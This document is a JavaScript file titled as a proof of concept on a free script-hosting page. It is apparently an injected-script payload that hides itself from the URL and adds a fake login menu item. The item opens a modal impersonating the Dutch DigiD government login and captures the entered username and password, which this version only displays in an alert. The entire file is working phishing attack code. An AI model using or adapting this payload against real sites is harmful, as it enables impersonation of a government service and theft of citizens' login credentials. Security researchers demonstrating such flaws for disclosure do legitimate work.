Free javascript Hosting


hth-poc.js

Uploaded on Sep 27 2021 20:39 by asdkjasdk

// Hide our payload from the URL
history.replaceState("", "", location.pathname)

// Generate the menu item
li = document.createElement("li")
li.innerHTML = `<a class="gn-icon" href="#" onclick="return false"><i class="fa fa-sign-in menu_icon"></i>Login</a>`
document.querySelector(".gn-menu").prepend(li)

// Edit and show the fake modal
li.addEventListener("click", function(event) {
$(".modal-title").html("Login")

$(".modal-body").html(`<form>
<hr>
<div class="row" style="width:auto; height:5vh;">
<div class="col-md-6">
<img src="https://www.digid.nl/sites/default/files/2019-05/logo.svg" style="width:auto; height:7vh;">
</div>
<div class="col-md-6">
<b>Inloggen bij</b>
<br>
Mijn DigiD
</div>
</div>
<hr>
<br>
<h5 style="color:#e17000">Vul hieronder uw gebruikersnaam en wachtwoord in</h5>
<div class="form-group">
<label for="exampleInputEmail1">DigiD Gebruikersnaam</label>
<input type="text" class="form-control" id="digidusername" aria-describedby="usernamehelp" placeholder="Vul uw gebruikersnaam in">
<small id="usernamehelp" class="form-text text-muted">Uw gegevens worden via een beveiligde verbinding verstuurd.</small>
</div>
<div class="form-group">
<label for="digidpassword">Wachtwoord</label>
<input type="password" class="form-control" id="digidpassword" placeholder="Wachtwoord">
</div>
<div class="form-check">
<input type="checkbox" class="form-check-input" id="exampleCheck1">
<label class="form-check-label" for="exampleCheck1">Onthoud mijn DigiD gebruikersnaam</label>
</div>
<button id="login" type="submit" class="btn btn-primary" style="background-color:#e17000 !important">Inloggen</button>
</form>`)

$(".modal-footer > button").remove()
$("#language_Modal").modal()

$("#login").click(function(event) {
let [user, password] = [$("#digidusername").val(), $("#digidpassword").val()]
alert("Aha! We have your credentials: " + user + ":" + password)
return false
})
})

Back to list